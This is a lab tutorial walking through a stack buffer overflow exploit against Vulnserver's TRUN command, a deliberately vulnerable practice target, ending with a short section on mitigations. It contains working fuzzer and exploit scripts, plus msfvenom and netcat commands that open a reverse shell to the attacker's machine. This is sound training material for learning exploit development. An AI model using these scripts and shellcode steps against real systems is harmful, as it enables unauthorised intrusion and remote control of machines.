Introduction & Target Overview
Buffer overflows are one of the most classic and foundational vulnerabilities in software security. They occur when a program attempts to write more data to a fixed-length memory buffer than it can hold. This overflow can corrupt adjacent memory, crash the program, or, in the hands of a skilled attacker, be manipulated to execute arbitrary code.
This guide provides a comprehensive walkthrough of the entire exploit development process for a stack-based buffer overflow. Our goal is to move beyond theory and execute a practical attack, from initial discovery with fuzzing to gaining a reverse shell on the target system.
For this exercise, our target will be Vulnserver, a deliberately vulnerable piece of software designed for exploit development practice. We will specifically target the TRUN command, which is susceptible to a buffer overflow. By the end, we will have taken complete control of the program’s execution flow.
Tools & Environment Setup
A proper lab environment is crucial for safe and effective analysis. Here’s what you’ll need:
- Attacker Machine: A Kali Linux VM (or any Linux distro with the necessary tools).
- Target Machine: A Windows (7/10) VM without modern security features like Windows Defender enabled.
- Target Application: Vulnserver running on the Windows VM.
- Debugger: Immunity Debugger installed on the Windows VM.
- Debugger Plugin: Mona.py, placed in
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands.
Environment Configuration:
- Ensure both VMs are on the same network (e.g., NATNetwork in VirtualBox) and can ping each other.
- On the Windows VM, run
vulnserver.exeas an administrator. - Launch Immunity Debugger as an administrator.
- In Immunity, go to
File -> Attachand select thevulnserverprocess. - Click the “Play” button (or press F9) to resume the program. The status in the bottom right should change to “Running”.
Static Analysis
While this guide focuses on dynamic analysis, a quick look at the binary in a disassembler like Ghidra or IDA Pro is a good practice. In a real-world scenario, you would search for potentially dangerous functions like strcpy(), sprintf(), and gets() which don’t perform bounds checking. For Vulnserver, static analysis would confirm the use of recv() to read user input into a fixed-size buffer, a strong indicator of a potential overflow.
Dynamic Analysis & Fuzzing
Dynamic analysis involves interacting with the live application to observe its behavior. Our first step is to confirm the vulnerability and find out roughly how much data is needed to crash it.
Step 1: Spiking and Target Interaction
First, let’s confirm we can talk to the server and identify the TRUN command. From your Kali machine, use netcat:
nc -nv <WINDOWS_IP> 9999
The server will respond with a welcome message. If you type HELP, it will list available commands, including TRUN. This is our target.
Step 2: Fuzzing the TRUN Command
Fuzzing is the process of sending malformed or random data to a target to provoke unexpected behavior. We will write a simple Python script to send the TRUN command followed by an increasingly large string of “A”s (\x41).
fuzzer.py
import socket
import time
import sys
ip = "<WINDOWS_IP>"
port = 9999
command = b"TRUN /.:/" # The command we are targeting
buffer = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(f"Fuzzing with {len(buffer)} bytes")
s.send(command + buffer)
s.close()
time.sleep(1)
buffer += b"A" * 100
except:
print(f"Fuzzing crashed at {len(buffer)} bytes")
sys.exit()
Run this script from your Kali machine. Watch Immunity Debugger on your Windows VM. After a few seconds, Vulnserver will crash with an Access violation. The fuzzer script will print the approximate number of bytes that caused the crash. Let’s say it crashed around 2100 bytes.
Vulnerability & Exploitation Walkthrough
Now that we’ve confirmed a crash, we can begin the precise process of crafting an exploit.
Step 3: Finding the Exact Offset
We need to find the exact number of bytes required to overwrite the EIP (Extended Instruction Pointer) register. EIP holds the address of the next instruction to be executed, and controlling it means controlling the program.
-
Generate a Unique Pattern: We’ll use Metasploit’s
pattern_create.rbtool to generate a non-repeating string. We’ll use a length slightly larger than our fuzzing result, like 2400 bytes./usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400Copy the long, unique string it generates.
-
Send the Pattern: Create a new Python script (
exploit.py) and send this unique pattern.exploit.py(Stage 1)import socket ip = "<WINDOWS_IP>" port = 9999 command = b"TRUN /.:/" # Paste the unique pattern from pattern_create pattern = b"Aa0Aa1Aa2..." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(command + pattern) s.close() -
Find the Offset: Run the script. Vulnserver will crash again. In Immunity, look at the value in the
EIPregister. It will be a part of our unique pattern (e.g.,35724134). Now, we find the offset of this value in our pattern. You can use Metasploit’s tool or Mona in Immunity.Using Mona (in Immunity’s command bar at the bottom):
!mona findmsp -distance 2400Mona will analyze the stack and registers, outputting something like:
EIP contains normal pattern : ... (offset 2003)This tells us the exact offset is 2003 bytes.
Step 4: Overwriting the EIP
Let’s verify our offset. We’ll modify our script to send 2003 ‘A’s, followed by four ‘B’s (\x42\x42\x42\x42). If we are correct, the EIP register should be overwritten with 42424242.
exploit.py (Stage 2)
import socket
ip = "<WINDOWS_IP>"
port = 9999
command = b"TRUN /.:/"
offset = b"A" * 2003
eip_overwrite = b"BBBB"
payload = offset + eip_overwrite
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(command + payload)
s.close()
Run this script (after restarting Vulnserver and re-attaching Immunity). Check the EIP register in Immunity. It should now read 42424242. We have successfully controlled the instruction pointer!
Step 5: Finding Bad Characters
Not all characters can be used in shellcode. Some, like the null byte (\x00), can terminate strings prematurely. We need to identify and exclude them.
-
Generate a Byte Array: In Immunity, use Mona to generate a string of all possible bytes from
\x01to\xff.!mona bytearray -b "\x00"(We exclude the null byte by default as it’s almost always a bad character).
-
Send the Bad Characters: Copy the generated byte string into your script and send it after the EIP overwrite.
exploit.py(Stage 3)# ... (ip, port, command, offset, eip_overwrite) ... bad_chars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" # ... (and so on) ... b"\xfb\xfc\xfd\xfe\xff" ) payload = offset + eip_overwrite + bad_chars # ... (send payload) ... -
Compare in Memory: Run the script. In Immunity, find the address where ESP (Extended Stack Pointer) is pointing. Right-click it and select “Follow in Dump”. You should see your byte string. Now, use Mona to compare the bytes in memory against your original byte array.
!mona compare -f C:\mona\vulnserver\bytearray.bin -a <ESP_ADDRESS>Mona will report any characters that are missing or corrupted. For Vulnserver’s
TRUNcommand, there are typically no bad characters other than the null byte\x00. If there were others (e.g.,\x0a), you would note them down.
Step 6: Finding the Right Module (JMP ESP)
We control EIP, but where do we point it? We need to redirect execution to our shellcode, which will be placed on the stack, right after our EIP overwrite. The stack’s address changes, so we can’t hardcode it. The standard solution is to find a JMP ESP instruction in the program’s memory. This instruction will jump execution to whatever address is currently in the ESP register, which will be pointing right at our shellcode.
In Immunity, use Mona to find a JMP ESP instruction in a module that is not protected by security mechanisms like ASLR.
!mona jmp -r esp -m vulnserver.exe
Mona will list addresses containing the JMP ESP instruction. Pick one, for example, 625011AF. We need to write this in little-endian format in our script: \xaf\x11\x50\x62.
Step 7: Generating and Injecting Shellcode
The final step is to generate our payload and deliver it.
-
Generate Shellcode with
msfvenom: On your Kali machine, create a reverse shell payload. We will tellmsfvenomto avoid the bad characters we found (\x00).msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f python -b "\x00" -
Set up a Listener: In another terminal on your Kali machine, start a Netcat listener to catch the reverse shell.
nc -lvnp 4444 -
Construct the Final Exploit: Combine all the pieces in your script: the offset, the
JMP ESPaddress, a NOP sled for stability, and the shellcode.exploit.py(Final)import socket ip = "<WINDOWS_IP>" port = 9999 command = b"TRUN /.:/" offset = b"A" * 2003 jmp_esp = b"\xaf\x11\x50\x62" # 625011AF nop_sled = b"\x90" * 16 # NOP sled for stability # Paste shellcode from msfvenom shellcode = b"" shellcode += b"\xda\xc3\xb8\x28\xf6\x7c\xcd\xd9\x74\x24\xf4\x5a\x2b" # ... (rest of the shellcode) ... payload = offset + jmp_esp + nop_sled + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(command + payload) s.close()
Restart Vulnserver and Immunity one last time, run the final exploit script, and check your Netcat listener. You should have a command prompt from the Windows machine!
Mitigation & Conclusion
This classic buffer overflow is possible because of insecure coding and the lack of modern exploit mitigations. In the real world, defenses like:
- ASLR (Address Space Layout Randomization): Randomizes the memory locations of modules, making it hard to find a reliable
JMP ESPaddress. - DEP/NX (Data Execution Prevention / No-eXecute): Marks the stack as non-executable, preventing shellcode from running directly. This requires more advanced techniques like ROP (Return Oriented Programming) to bypass.
- Stack Canaries: Places a secret value on the stack before a buffer. If an overflow corrupts this value, the program can detect the tampering and shut down safely.
Summary of Findings: We successfully demonstrated a full exploit chain against a stack-based buffer overflow. We started by fuzzing to identify a crash, precisely calculated the EIP offset, tested for bad characters, located a reliable return address, and finally injected shellcode to gain arbitrary code execution.
Mastering this process is a rite of passage in exploit development. It builds a fundamental understanding of memory, program execution, and the low-level mechanics that underpin many of today’s more complex vulnerabilities.